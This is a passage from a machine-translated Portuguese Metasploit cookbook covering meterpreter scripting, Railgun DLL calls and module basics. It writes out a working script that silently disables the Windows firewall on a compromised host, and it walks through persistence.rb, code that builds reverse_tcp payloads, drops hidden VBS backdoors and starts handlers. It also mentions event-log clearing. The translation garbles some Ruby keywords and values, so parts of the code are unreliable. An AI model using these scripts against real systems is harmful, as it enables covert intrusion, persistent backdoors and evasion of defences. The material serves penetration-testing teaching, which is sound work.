Então vamos começar com a receita. Nesta receita, discutiremos sobre a API do meterpreter e alguns mixins
importantes e, em receitas posteriores, codificaremos nossos próprios scripts do meterpreter.

Preparando-se
A API do Meterpreter pode ser útil para os programadores implementarem seus próprios scripts durante o
teste de penetração. Como toda a estrutura do Metasploit é construída usando a linguagem Ruby, uma
experiência em programação Ruby pode aprimorar sua experiência de penetração com o Metasploit.
Estaremos lidando com scripts Ruby nas próximas receitas, então alguma experiência em programação
Ruby será necessária adiante. Mesmo se você tiver um conhecimento básico de Ruby e outras linguagens
de script, será fácil entender os conceitos.

Fazendo o download do código


de exemplo Você pode fazer o download dos arquivos de código de exemplo
para todos os livros Packt adquiridos em sua conta em http://www.packtpub.com.
Se você comprou este livro em outro lugar, visite http://www. packtpub.com/
support e registre-se para receber os arquivos por e-mail diretamente para
você.

151
Machine Translated by Google

Script Avançado do Meterpreter

Como fazer isso...


Vamos começar lançando um shell Ruby interativo no meterpreter. Aqui, estou supondo que já exploramos o
destino (Windows 7) e temos uma sessão de meterpreter ativa.

O shell Ruby pode ser iniciado usando o comando irb .

meterpreter > irb


[*] Iniciando o shell IRB
[*] A variável 'client' contém o cliente meterpreter

Agora estamos no shell Ruby e podemos executar nossos scripts Ruby. Vamos começar com uma adição
básica de dois números.

>> 2+2
=> 4

Portanto, nosso shell está funcionando bem e pode interpretar as instruções. Vamos realizar uma
operação complexa agora. Vamos criar um hash e armazenar alguns valores nele junto com as chaves.
Em seguida, excluiremos os valores condicionalmente. O script ficará da seguinte forma:

x = { "a" => 100, "b" => 20 } x.delete_if { |


chave, valor| valor < 25 } imprimir x.inspecionar

O roteiro é simples de entender. Na primeira linha, criamos as chaves (a e b) e atribuímos valores a elas.
Em seguida, na próxima linha, adicionamos uma condição que exclui qualquer elemento hash cujo valor
seja menor que 25.

Vejamos algumas chamadas de API de impressão que serão úteis para nós ao escrever scripts meterpreter.

f print_line("message"): Esta chamada imprimirá a saída e adicionará um retorno de carro


no final.

f print_status("message"): Esta chamada é usada com mais frequência na linguagem de script.


Essa chamada fornecerá um retorno de carro e imprimirá o status do que estiver em execução,
com um [*] prefixado no início.

>> print_status("HackingAlert")
[*] HackingAlert
=> nada

f print_good("message"): Esta chamada é usada para fornecer o resultado de qualquer operação.


A mensagem é exibida com um [+] prefixado no início, indicando que a ação foi bem-sucedida.

>> print_good("HackingAlert")
[+] HackingAlert
=> nada

152
Machine Translated by Google

Capítulo 6

f print_error("message"): Esta chamada é usada para exibir uma mensagem de erro que
pode ocorrer durante a execução do script. A mensagem é exibida com um [-] prefixado no início da mensagem de
erro.

>> print_error("HackingAlert")
[-] HackingAlert
=> nada

A razão pela qual discuti essas diferentes chamadas de impressão é que elas são amplamente usadas ao escrever
scripts meterpreter nas respectivas situações. Você pode encontrar documentações relacionadas à API meterpreter em /
opt/framework3/msf3/documentation. Passe por eles para ter uma compreensão clara e detalhada. Você também pode
consultar /opt/framework3/msf3/lib/rex/post/meterpreter, onde pode encontrar muitos scripts relacionados à API meterpreter.

Dentro desses scripts estão os vários núcleos do meterpreter, interação com a área de trabalho, operações
privilegiadas e muitos outros comandos. Revise esses scripts para se familiarizar intimamente com o funcionamento
do meterpreter em um sistema comprometido.

Meterpreter mixins

Meterpreter mixins são chamadas irb específicas do Metasploit. Essas chamadas não estão disponíveis no irb, mas podem
ser usadas para representar as tarefas mais comuns ao escrever scripts meterpreter. Eles podem simplificar nossa tarefa de
escrever scripts específicos do meterpreter. Vejamos alguns mixins úteis:

f cmd_exec(cmd): Isso executa o comando fornecido como oculto e canalizado.


A saída do comando é fornecida como uma string multilinha.

f eventlog_clear(evt = ""): Limpa um determinado log de eventos ou todos os logs de eventos, se nenhum
é dada. Ele retorna uma matriz de logs de eventos que foram limpos.

f eventlog_list(): Enumera os logs de eventos e retorna um array contendo


os nomes dos logs de eventos.

f file_local_write(file2wrt, data2wrt): Isso grava uma determinada string em um


arquivo especificado.

f is_admin?(): Identifica se o usuário é administrador ou não. Retorna verdadeiro se o


o usuário é um administrador e false se não.

f is_uac_enabled?(): Isso determina se o Controle de Conta de Usuário (UAC)


está habilitado no sistema.

f Registry_createkey(key): Isso cria uma determinada chave de registro e retorna true


se bem sucedido.

f Registry_deleteval(key,valname): Isso exclui um valor de registro dado a chave


e nome do valor. Retorna verdadeiro se for bem-sucedido.

f Registry_delkey(key): Exclui uma determinada chave de registro e retorna true


se bem sucedido.

153
Machine Translated by Google

Script Avançado do Meterpreter

f Registry_enumkeys(key): Isso enumera as subchaves de uma determinada chave de registro e retorna uma
matriz de subchaves.

f Registry_enumvals(key): Isso enumera os valores de uma determinada chave de registro e


retorna uma matriz de nomes de valores.

f Registry_getvaldata(key,valname): Retorna os dados de uma determinada chave de registro e seu valor.

f service_create(nome, display_name, executável_on_


host,startup=2): Esta função é utilizada para a criação de um serviço que executa seu próprio processo.
Seus parâmetros são o nome do serviço como uma string, o nome de exibição como uma string, o caminho
do executável no host que será executado na inicialização como uma string e o tipo de inicialização como
um número inteiro: 2 para Auto, 3 para Manual ou 4 para Desativar

f service_delete(name): Esta função é usada para excluir um serviço excluindo a chave no registro.

f service_info(name): Obtém as informações de serviço do Windows. As informações são retornadas em um


hash com o nome de exibição, modo de inicialização e comando executado pelo serviço. O nome do
serviço diferencia maiúsculas de minúsculas. As chaves de hash são Nome, Iniciar, Comando e Credenciais.

f service_list(): Lista todos os serviços do Windows presentes. Ele retorna uma matriz
contendo os nomes dos serviços.

f service_start(name): Esta função é usada para a inicialização do serviço. Retorna 0 se o serviço foi
iniciado, 1 se o serviço já foi iniciado e 2 se o serviço foi desativado.

f service_stop(name): Esta função é usada para parar um serviço. Ele retorna 0 se o serviço for interrompido
com sucesso, 1 se o serviço já estiver interrompido ou desabilitado e 2 se o serviço não puder ser
interrompido.

Esta foi uma referência rápida a alguns mixins importantes do meterpreter. O uso desses mixins pode reduzir a
complexidade de nossos scripts. Vamos entender seu uso nas próximas receitas, onde estaremos criando e
analisando scripts meterpreter.

Como funciona...
A API meterpreter simplesmente cria um mini interpretador Ruby que pode entender e interpretar instruções Ruby. A
maior vantagem de usar a API é que ela nos dá flexibilidade para realizar nossas próprias operações. Não podemos
ter comandos para todas as operações. Pode haver situações em que precisamos de scripts específicos para realizar
nossa tarefa. É aqui que as APIs podem ser úteis.

154
Machine Translated by Google

Capítulo 6

Railgun – convertendo Ruby em uma arma


Na receita anterior, vimos o uso da API meterpreter para executar scripts Ruby. Vamos dar um passo à frente.
Suponha que queremos fazer chamadas de API remotas na máquina vítima, qual pode ser o método mais simples?
Railgun é a resposta óbvia. É uma extensão meterpreter que permite que um invasor chame funções DLL diretamente.
Na maioria das vezes, é usado para fazer chamadas para a API do Windows, mas podemos chamar qualquer DLL
na máquina da vítima.

Preparando-se
Para começar a usar o Railgun, precisaremos de uma sessão meterpreter ativa em nossa máquina
de destino. Para iniciar o interpretador Ruby, usaremos o comando irb conforme discutido na receita
anterior.

meterpreter>irb
>>

Como fazer isso...


Antes de passarmos a chamar DLLs, vamos primeiro ver as etapas essenciais a seguir para obter o
melhor do Railgun.

1. Identifique a(s) função(ões) que deseja chamar.

2. Localize a função em http://msdn.microsoft.com/en-us/library/aa383749(v=vs.85).aspx.

3. Verifique a biblioteca (DLL) na qual a função está localizada (por exemplo, kernel32.
dll).
4. A função de biblioteca selecionada pode ser chamada como client.railgun.dll_name.
function_name(arg1, arg2, ...).

A biblioteca MSDN do Windows pode ser usada para identificar DLLs e funções úteis para chamar na máquina
de destino. Vamos chamar uma função IsUserAnAdmin simples de shell32.dll e analisar a saída.

>> cliente.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "return"=>false}

155
Machine Translated by Google

Script Avançado do Meterpreter

Como podemos ver, a função retornou um valor falso indicando que o usuário não é administrador.
Vamos aumentar nosso privilégio e tentar a chamada novamente.

meterpreter > getsystem


...obteve o sistema (através da técnica 4).

meterpreter > irb


[*] Iniciando o shell IRB
[*] A variável 'client' contém o cliente meterpreter

>> client.railgun.shell32.IsUserAnAdmin =>

{"GetLastError"=>0, "return"=>true}

Desta vez, a função retornou true indicando que nossa escalação de privilégio foi bem-sucedida e agora estamos trabalhando
como administrador do sistema. O Railgun nos fornece a flexibilidade para executar facilmente as tarefas que não estão
presentes na forma de módulos. Portanto, não estamos apenas limitados a esses scripts e módulos que o framework nos
fornece, na verdade, podemos fazer chamadas sob demanda.

Você pode estender ainda mais essa chamada para um pequeno script Ruby com verificação de erros:

print_status "Executando a função IsUserAnAdmin"

status = client.railgun.shell32.IsUserAnAdmin()

if status['return'] == true then print_status 'Você


é um administrador'
outro
print_error 'Você não é um administrador' end

Usar o Railgun pode ser uma experiência muito poderosa e emocionante. Você pode praticar suas próprias chamadas e scripts
para analisar as saídas. No entanto, e se a DLL ou a função que você deseja chamar não fizer parte da definição do Railgun.
Nesse caso, o Railgun também oferece a flexibilidade de adicionar suas próprias funções e DLLs ao Railgun. Trataremos disso
em nossa próxima receita.

Como funciona...
Railgun é um interpretador de comandos Ruby específico que pode ser usado para fazer chamadas DLL remotas para o alvo
comprometido. Chamadas DLL remotas são um processo importante no teste de penetração, pois nos dá o comando sobre o
alvo comprometido para executar qualquer instrução do sistema com privilégio total.

156
Machine Translated by Google

Capítulo 6

Tem mais...
Railgun é uma ferramenta interessante que pode aprimorar o processo de teste de penetração. Vamos
descobrir mais algumas informações sobre Railgun.

Definições e documentação do Railgun Atualmente, o


Railgun oferece suporte a dez diferentes DLLs de API do Windows. Você pode encontrar suas definições
na seguinte pasta: pentest/exploits/framework3/lib/rex/post/meterpreter/ extensions/stdapi/railgun/def

Além disso, você também pode ler a documentação do Railgun no seguinte local:

/opt/framework3/msf3/external/source/meterpreter/source/extensions/ stdapi/server/railgun/
railgun_manual.pdf

Adicionando DLL e definição de função para


canhão elétrico

Na receita anterior, nos concentramos em chamar as DLLs da API do Windows por meio do Railgun.
Nesta receita, vamos nos concentrar em adicionar nossa própria DLL e definições de função ao Railgun.
Para fazer isso, devemos ter uma compreensão das DLLs do Windows. O manual do Railgun pode ser útil
para dar uma ideia rápida sobre as diferentes constantes do Windows que podem ser usadas ao adicionar
definições de funções.

Como fazer isso...


Adicionar uma nova definição de DLL ao Railgun é uma tarefa fácil. Suponha que você queira adicionar
uma DLL que vem com o Windows, mas não está presente em seu Railgun, então você pode criar uma
definição de DLL em pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def e
nomeie-o como def_dllname.rb.

1. Considere o exemplo de adicionar uma definição de shell32.dll ao Railgun. Podemos começar


adicionando as seguintes linhas de códigos:
módulo Rex
postagem do módulo

módulo Meterpreter
extensões do módulo
módulo Stdapi
módulo Railgun
módulo def

classe Def_shell32

157
Machine Translated by Google

Script Avançado do Meterpreter

def self.create_dll(dll_path = 'shell32') dll = DLL.new(dll_path,


ApiConstants.manager)

......

fim

fim

fim; fim; fim; fim; fim; fim; fim

2. Salvar este código como def_shell32.dll criará uma definição Railgun para
shell32.dll.

3. A próxima etapa é adicionar funções à definição da DLL. Se você der uma olhada no
script def_shell32.dll no Metasploit, você verá que a função IsUserAnAdmin já está
adicionada a ele.
dll.add_function('IsUserAnAdmin', 'BOOL', [])

A função simplesmente retorna um Boolean True ou False, dependendo da condição.


Da mesma forma, podemos adicionar nossa própria definição de função em shell32.dll. Considere
o exemplo de adição da função OleFlushClipboard() . Isso liberará todos os dados presentes na
área de transferência do Windows.

4. Adicionar a seguinte linha de código na definição de shell32.dll servirá ao nosso propósito:

dll.add_function('OleFlushClipboard' , 'BOOL' , [])

Como funciona...
Para testar a função, salve o arquivo e volte para a sessão meterpreter para verificar se a função foi
executada com sucesso ou não.

>> client.railgun.shell32.OleFlushClipboard

=> {"GetLastError"=>0, "return"=>true}

Como alternativa, você também pode adicionar as DLLs e funções diretamente ao Railgun usando
add_dll e add_function. Aqui está um script completo que verifica a disponibilidade de shell32. dll e a
função OleFlushClipboard e, se não estiverem presentes, serão adicionados usando as chamadas
add_dll e add_function .

if client.railgun.get_dll('shell32') == nil print_status "Adicionando


Shell32.dll" client.railgun.add_dll('shell32','C:\\WINDOWS\\system32\
\shell32. dll')

outro
print_status "Shell32 já carregado.. pulando"

158
Machine Translated by Google

Capítulo 6

fim

if client.railgun.shell32.functions['OleFlushClipboard'] == nil print_status "Adicionando a


função Flush Clipboard" client.railgun.add_function('shell32', 'OleFlushClipboard', 'BOOL',
[])

outro
print_status "OleFlushClipboard já carregado.. pulando" end

Esta foi uma pequena demonstração do uso do Railgun como uma ferramenta poderosa para chamar as
APIs do Windows dependendo da nossa necessidade. Você pode procurar várias chamadas úteis de API do
Windows na biblioteca MSDN e adicioná-las ao Railgun e aprimorar a funcionalidade de sua estrutura. Ele pode
ser usado para chamar qualquer DLL que resida na máquina de destino. Na próxima receita, avançaremos para
desenvolver nossos próprios scripts meterpreter.

Construindo um script meterpreter "Desativador


do Firewall do Windows"
Até agora, usamos vários scripts meterpreter, como killav.rb e persistence. rb. Vamos começar discutindo
sobre como desenvolver nosso próprio script meterpreter. O conhecimento de Ruby é essencial para
escrever qualquer módulo no Metasploit. Você deve ter conhecimento básico de Ruby.
Não há documentação suficiente disponível para aprender diretamente sobre o script meterpreter.
A prática mais simples e recomendada é aprender a linguagem Ruby e lado a lado ficar olhando os códigos
dos diversos módulos disponíveis. Você também pode ler o guia do desenvolvedor do Metasploit para entender
as diferentes bibliotecas fornecidas pela estrutura que você pode usar ao escrever seus próprios módulos. A
documentação pode ser encontrada em http://dev.metasploit. com/redmine/projects/framework/wiki/
DeveloperGuide.

O script que desenvolveremos aqui é um script desativador de firewall do Windows Vista/7. Ele fará uso do
comando do Windows chamado netsh e o meterpreter executará o comando na máquina de destino usando
um mixin chamado cmd_exec().

Preparando-se
Os scripts do Meterpreter são executados em contexto com o cliente explorado, tornando mais fácil para
você se concentrar apenas na tarefa que deseja executar por meio do script. Você não precisa se preocupar
com a conectividade ou qualquer outro parâmetro. Vejamos algumas diretrizes importantes que devem ser
mantidas em mente ao escrever scripts meterpreter

f Evitando variáveis globais: Este é um princípio geral para codificação em qualquer estrutura.
O uso de variáveis globais deve ser evitado, pois podem interferir nas variáveis do framework. Use
apenas variáveis de instância, locais e constantes.

159
Machine Translated by Google

Script Avançado do Meterpreter

f Uso de comentários: Os comentários são essenciais ao escrever códigos. Isso pode te ajudar
manter um registro de qual parte é responsável por uma determinada ação.

f Incluindo parâmetros: Você deve ter notado em várias receitas como passamos
parâmetros junto com o script. O parâmetro mais elementar, mas útil, é –h ou a opção de ajuda .

f Imprimindo resultados: Imprimir o resultado da operação pode comprovar se a execução de um script foi
um sucesso ou falha. O uso de diferentes chamadas de impressão como print_status, print_error e
assim por diante deve ser usado extensivamente para exibir informações relevantes.

f Validação da plataforma: certifique-se de validar a plataforma na qual deseja


script para executar uma ação.

f Mantendo a convenção de arquivo: Depois de terminar de escrever o script, salve


em /pentest/exploits/framework3/scripts/meterpreter. Seguir a convenção de arquivos da estrutura
pode evitar conflitos. f Uso de mixins: Mixins são um conceito importante no meterpreter. Usando

mixins, podemos tornar nosso script mais simples e fácil.

Você deve manter essas diretrizes em mente ao escrever scripts meterpreter.

Vamos abrir qualquer editor de texto para começar a escrever o script Ruby. Se você estiver trabalhando no
BackTrack, poderá usar o editor de texto Gedit.

Como fazer isso...


1. Digite as seguintes linhas de código no editor de texto. Antes de passar para a seção de explicação, dê
uma olhada no script e tente descobrir o que cada linha significa.
O script é fácil de pegar.

# Autor: Abhinav Singh


# Desativador do Firewall do Windows

#Opção/parâmetro Análise

opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Menu de ajuda." ]
)

opts.parse(args) { |opt, idx, val| opção de caso

quando h"

print_line "Script Meterpreter para desabilitar o


Firewall padrão do Windows"

print_line "Espero que funcione" print_line(opts.usage)


raise Rex::Script::Completed

160
Machine Translated by Google

Capítulo 6

fim

# Validação do sistema operacional e execução de comandos

não suportado se client.platform !~ /win32|win64/i


fim
começar
print_status("desativando o firewall padrão") cmd_exec('cmd /c','netsh
advfirewall set AllProfiles
estado desligado',5)

Depois de digitar o código, salve-o como myscript.rb em /pentest/exploits/framework3/


scripts/meterpreter.

2. Para executar este script, precisaremos de uma sessão meterpreter. Os scripts Ruby podem ser
executado com o comando run . No entanto, antes de usar o script, certifique-se de ter
privilégios de sistema na máquina de destino.

meterpreter > getsystem

...obteve o sistema (através da técnica 4).

meterpreter > executar myscript.rb

[*] desativando o firewall padrão

meterpreter >

Bingo! A execução bem-sucedida do script desativará silenciosamente o firewall padrão. A execução do comando
ocorre em segundo plano para que o usuário de destino permaneça inconsciente. Vamos agora entender o script
em detalhes.

Como funciona...
Vamos analisar cada segmento do roteiro.

opts = Rex::Parser::Arguments.new( "-h" => [ false,


"Menu de ajuda." ]
)

opts.parse(args) { |opt, idx, val|


opção de caso
quando h"

print_line "Script Meterpreter para desabilitar o padrão


Firewall do Windows"

print_line "Espero que funcione"

161
Machine Translated by Google

Script Avançado do Meterpreter

print_line(opts.usage) raise
Rex::Script::Completed
fim
}

Essas linhas de código nada mais são do que as opções que podemos passar junto com o script. Neste script, a
única opção disponível para nós é o parâmetro –h que exibe a mensagem de uso do script. Você pode salvar
este trecho de código como modelo para criar opções em seus scripts.
Você encontrará vários trechos de código que podem ser usados diretamente em seu próprio script.

O script começa com a criação de um hash (opts) que inclui a biblioteca Rex, que é a forma abreviada da
Ruby Extensions Library. A única chave é –h. O valor de uso é definido como 'falso', o que significa que esse é
um parâmetro opcional para o script. As próximas linhas de código correspondem às opções fornecidas com o
script e vão para o caso específico para exibir a mensagem usando print_line(). No nosso caso, usamos apenas
uma opção (-h).

não suportado se client.platform !~ /win32|win64/i

começar
print_status("desativando o firewall padrão") cmd_exec('cmd /
c','netsh advfirewall define o estado de AllProfiles
desligado',5)

fim

Esta parte do script é específica da operação. Ele começa com a verificação do sistema operacional do cliente.
Em seguida, ele usa um meterpreter mixin cmd_exec () que pode executar comandos ocultos e canalizados. O
comando a ser executado é netsh advfirewall set AllProfiles state off. O mixin evoca este comando na máquina
cliente em contexto com o prompt de comando e sua execução bem-sucedida desativa o firewall do Windows.

Você pode brincar com o script adicionando mais funcionalidades e tentando diferentes possibilidades.
Quanto mais você experimentar, melhor você aprenderá.

Esta foi uma breve demonstração de como construir um script meterpreter. Na próxima receita, veremos
um script meterpreter avançado e o entenderemos em detalhes.

Tem mais...
Vamos estender nossa discussão para reutilizar os códigos para testes de penetração mais rápidos e eficientes.

Reutilização de

código A reutilização de código pode ser uma técnica eficaz na construção de seus próprios scripts. Você
pode encontrar algumas funções prontas, como criar vários manipuladores, configurar verificações de
parâmetros e adicionar cargas úteis. Você pode usá-los diretamente em seu código e aproveitar sua
funcionalidade. Lembre-se de que a melhor maneira de aprender sobre o script meterpreter é observando os scripts integrados.

162
Machine Translated by Google

Capítulo 6

Analisando um script meterpreter existente


Agora que aprendemos a criar nosso próprio script, vamos prosseguir e analisar um script existente
que executa algumas tarefas avançadas. Depois de conseguir ler um script existente completamente,
você pode implementar as funções dele de acordo com sua necessidade.
A reutilização de código é uma técnica eficaz para aumentar a otimização de códigos.

Como fazer isso...


Para visualizar um script existente, navegue até pentest/exploits/framework3/scripts/ meterpreter.

Você pode encontrar todos os scripts meterpreter disponíveis nesta pasta. Estaremos analisando
o script persistence.rb que ajuda a configurar um backdoor no usuário alvo. Discutimos o uso desse
script no capítulo anterior. Aqui, veremos sob o capô de como esse script funciona.

Como funciona...
Vamos analisar cada seção do código, uma por uma.

# Parâmetros padrão para payload rhost =


Rex::Socket.source_address("1.2.3.4") rport = 4444 delay = 5

instalar = falso
autoconn = falso
servir = falso
altex = nil
target_dir = nil
payload_type = script "windows/meterpreter/reverse_tcp" = nil
script_on_target = nil

O código começa com a declaração de variáveis que são usadas no script. Você pode ver
algumas das variáveis comuns, como rhost, rport, payload_type , que usamos durante o
processo de exploração.

@exec_opts = Rex::Parser::Arguments.new( "-h" => [ false,


"Este menu de ajuda"], "-r" => [ true, "O IP do sistema
executando o Metasploit ouvindo a conexão voltar"],

"-p" => [ true, "A porta no host remoto onde o Metasploit está escutando"], "-i" => [ true, "O
intervalo em segundos entre cada

163
Machine Translated by Google

Script Avançado do Meterpreter

tentativa de conexão"],
"-X" => [ false, "Iniciar automaticamente o agente quando o sistema for inicializado"],

"-U" => [ false, "Inicia automaticamente o agente quando o usuário


inicia sessão"],
"-S" => [ false, "Iniciar automaticamente o agente na inicialização como um serviço (com
privilégios de SISTEMA)"],
"-A" => [ false, "Iniciar automaticamente um multi/manipulador correspondente para se
conectar ao agente"],
"-L" => [ true, "Localização no host de destino onde gravar a carga, se nenhum \%TEMP\% será
usado."], "-T" => [ true, "Modelo executável alternativo a ser usado" ], "-P" => [ true, "Payload a ser
usado, o padrão é windows/

meterpreter/reverse_tcp."] )

meter_type = cliente.plataforma

A próxima parte do script consiste em diferentes parâmetros (sinalizadores) que são necessários para
passar junto com o script. Os parâmetros com um valor verdadeiro são sinalizadores obrigatórios cujos
valores devem ser passados pelo testador de penetração. Parâmetros com um valor falso são opcionais.

# Função de mensagem de uso


#------------------------------------------------- -------------------
-----------

uso de definição
print_line "Script Meterpreter para criar um backdoor persistente em um host de destino."
print_line(@exec_opts.usage) raise Rex::Script::Completed

fim

# Função de mensagem de versão incorreta do medidor


#------------------------------------------- -------------------------
-----------

def wrong_meter_version(meter = meter_type)


print_error("A versão #{meter} do Meterpreter não é compatível com este Script!") raise
Rex::Script::Completed

fim

A próxima seção do script compreende a declaração da função. As duas primeiras funções


geralmente estão disponíveis em todos os scripts meterpreter. A função de uso é usada para
exibir uma mensagem introdutória do script. Ele contém uma breve descrição sobre o uso do
script. O wrong_meter_version() é usado para verificar se a versão do meterpreter é suportada
pelo script ou não. Alguns scripts não suportam as versões mais antigas do meterpreter, portanto,
uma validação pode ser útil.

164
Machine Translated by Google

Capítulo 6

# Função para criar o payload


#------------------------------------------------- -------------------
-----------

def create_payload(payload_type,host,lport)
print_status("Criando Payload=#{payload_type} LHOST=#{host}
LPORT=#{lport}")
payload = payload_type pay =
client.framework.payloads.create(payload) pay.datastore['LHOST']
= host pay.datastore['LPORT'] = lport

devolver pagamento.gerar
fim

A próxima função é sobre como criar uma carga útil. Você pode usar essa função diretamente em seu
script se quiser criar uma carga útil (poder de reutilização de código). A função create_payload() assume
dois valores, a saber, payload_type e lport. Se você se lembra da seção de declaração de variáveis,
essas duas variáveis foram inicializadas com alguns valores padrão.

A chamada pay = client.framework.payloads.create(payload) nos permite criar uma carga a partir do


framework Metasploit.

Uma coisa a observar neste snippet é pay.datastore['LHOST'] = host and pay. datastore['LPORT']
= lport. O armazenamento de dados é simplesmente um hash de valores que pode ser usado por
módulos ou pela própria estrutura para referenciar valores controlados pelo programador ou pelo usuário.

# Função para criar script persistente


#------------------------------------------------- -------------------
-----------

def create_script(atraso,altexe,raw)
se altex
vbs = ::MSF::Util::EXE.to_win32pe_vbs(@client.framework,
raw, {:persist => true, :delay => delay, :template => altexe})
outro
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist =>
true, :delay => delay})
fim
print_status("O script do agente persistente tem #{vbs.length} bytes")

retornar vbs
fim

165
Machine Translated by Google

Script Avançado do Meterpreter

A próxima função é para criar scripts persistentes. Os scripts são criados dependendo da carga útil
e de outros valores de parâmetro passados junto com o script.

# Função para criar pasta de log e retornar caminho de log


#------------------------------------------------- -------------------
-----------

def log_file(log_path = nil)


#Obter nome do host
host = @client.sys.config.sysinfo["Computador"]

# Criar informações de nome de arquivo para serem anexadas aos arquivos


baixados filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

# Crie um diretório para os logs se log_path

logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host


+ filenameinfo) )
outro
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host
+ filenameinfo) )
fim

# Crie o diretório de
log ::FileUtils.mkdir_p(logs)

#logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_ path(host + filenameinfo) + ".rc"

arquivo de log de retorno


fim

A próxima função é para criar um diretório de log para o script. O host = @client.sys. A chamada
config.sysinfo["Computer"] extrai as informações do sistema do alvo comprometido.
O diretório e o nome do arquivo são criados usando a biblioteca Rex::FileUtils, que é responsável
por executar operações de arquivo e diretório.

# Função para escrever script no host de destino


#------------------------------------------------- -------------------
-----------

def write_script_to_target(target_dir,vbs) if target_dir tempdir


= target_dir

outro
tempdir = @client.fs.file.expand_path("%TEMP%")
fim

166
Machine Translated by Google

Capítulo 6

tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6))


+ ".vbs"
fd = @client.fs.file.new(tempvbs, "wb") fd.write(vbs)

fd.close

print_good("Script persistente gravado em #{tempvbs}") file_local_write(@clean_up_rc,


"rm #{tempvbs}\n") return tempvbs

fim

Esta função inicia a gravação de arquivos no disco. Ele salva os vários arquivos backdoor nas
pastas e diretórios criados na função anterior. A chamada Rex::Text.rand_text_ alpha((rand(8)+6)) +
".vbs" gera um texto aleatório para o nome do arquivo a ser criado no diretório temporário. A chamada
fd.write() grava os arquivos no disco.

# Função para configurar multi handler para autocon


#----------------------------------------- ----------------------
-----------

def set_handler(selected_payload,rhost,rport) print_status("Iniciando o


manipulador de conexão na porta #{rport} para
#{carga útil selecionada}")
mul = client.framework.exploits.create("multi/handler") mul.datastore['WORKSPACE'] =
@client.workspace mul.datastore['PAYLOAD'] = selected_payload

mul.datastore['LHOST'] = assado
mul.datastore['LPORT'] = relatório
mul.datastore['EXITFUNC'] = 'processo'
mul.datastore['ExitOnSession'] = falso

mul.exploit_simple('Carga útil'
=> mul.datastore['PAYLOAD'],
'RunAsJob' => verdadeiro

) print_good("Multi/Handler iniciado!") end

Esta função cria um manipulador múltiplo para se conectar de volta ao sistema de ataque. Esta é, novamente,
uma função geral que pode ser usada em seu script se você quiser um recurso de conexão automática,
definindo um manipulador múltiplo.

# Função para executar script no alvo e retornar o PID do


processo
#------------------------------------------------- -------------------
-----------

def targets_exec(script_on_target)
print_status("Executando script #{script_on_target}")

167
Machine Translated by Google

Script Avançado do Meterpreter

proc = session.sys.process.execute("cscript \"#{script_on_ target}\"", nil, {'Hidden'


=> true}) print_good("Agente executado com PID #{proc.pid}") file_local_write
(@clean_up_rc, "kill #{proc.pid}\n") return proc.pid

fim

Esta função é responsável por executar o script na máquina de destino. O script de persistência cria scripts vbs
na máquina de destino, portanto, eles devem ser executados para abrir uma conexão. A função Targets_exec()
resolve esse propósito. Esta função pode ser usada novamente como uma função geral em seu próprio script se
você quiser executar scripts na máquina de destino. A chamada session.sys.process.execute() é responsável
por executar o script e o proc.pid retorna o ID do processo backdoor criado.

A parte restante do código é autoexplicativa onde essas funções são chamadas, um script claro é criado e uma
verificação de opção é implementada. Esta receita pode ter lhe dado uma ideia clara do que acontece em
segundo plano quando executamos um script meterpreter. É muito essencial do ponto de vista de um testador de
caneta ser capaz de ler e modificar os códigos de acordo com o cenário de trabalho. É aqui que reside a beleza da
estrutura de código aberto. Você pode fazer modificações de acordo com suas necessidades e aprender analisando
diretamente os códigos-fonte disponíveis.

168
Machine Translated by Google

Trabalhando com Módulos


7
para Penetração
teste
Neste capítulo, abordaremos:

f Trabalhando com módulos auxiliares do scanner


f Trabalhando com módulos auxiliares de
administração f Injeção SQL e módulos de ataque DOS
f Módulos de pós-exploração

f Compreender os fundamentos da construção do


módulo f Analisar um módulo existente
f Construindo seu próprio módulo de pós-exploração

Introdução

No primeiro capítulo, onde discutimos sobre os fundamentos do framework Metasploit, afirmamos que ele
possui uma arquitetura modular. Isso significa que todos os exploits, payloads, codificadores e assim por
diante estão presentes na forma de módulos. A arquitetura modular facilita a extensão da funcionalidade da
estrutura. Qualquer programador pode desenvolver seu próprio módulo e portá-lo facilmente no framework.
Um processo de teste de penetração completo pode incluir vários módulos em operação.
Por exemplo, começamos com um módulo de exploração, então usamos um módulo de carga útil, então
podemos usar vários módulos de pós-exploração uma vez que o alvo foi comprometido. Por fim, também
podemos usar diferentes módulos para conectar ao banco de dados e armazenar nossas descobertas e
resultados. Embora os módulos não sejam muito falados ao trabalhar com o Metasploit, eles formam o
cerne do framework, por isso é essencial ter um entendimento profundo dele.
Machine Translated by Google

Trabalhando com módulos para testes de penetração

Neste capítulo, vamos nos concentrar particularmente no diretório pentest/exploits/framework3/


modules , que contém uma lista completa de módulos úteis que podem facilitar nossa tarefa de teste de
penetração. O uso de módulos é muito parecido com o que temos feito até agora, mas há uma pequena
diferença na funcionalidade. Mais adiante no capítulo, também analisaremos alguns dos módulos existentes e,
finalmente, concluiremos o capítulo aprendendo como desenvolver nossos próprios módulos para o Metasploit.
Então vamos começar nossos experimentos com módulos.

Trabalhando com módulos auxiliares de scanner


Vamos começar nossa experimentação com os módulos do scanner. Já aprendemos como escanear
em detalhes usando o Nmap. Nesta receita, analisaremos alguns dos módulos de digitalização
prontos que acompanham o framework. Embora o Nmap seja uma poderosa ferramenta de
verificação, ainda pode haver situações em que temos que executar um tipo específico de verificação,
como a verificação da presença de um banco de dados MySQL.

O Metasploit nos fornece uma lista completa desses scanners úteis. Vamos seguir em frente e
implementar na prática alguns deles.

Preparando-se
Para encontrar a lista de scanners disponíveis, teremos que navegar até /pentest/exploits/framework3/
modules/auxiliary/scanner.

Você pode encontrar uma coleção de mais de 35 módulos de varredura úteis que podem ser usados
em vários cenários de teste de penetração.

Como fazer isso...


Vamos começar com um scanner HTTP básico. Você verá que há muitas opções diferentes de verificação
de HTTP disponíveis. Vamos discutir alguns deles aqui.

Considere o script dir_scanner . Isso fará a varredura de um único host ou de uma gama completa
de redes para procurar diretórios interessantes e listagens que possam ser mais exploradas para
coletar informações.

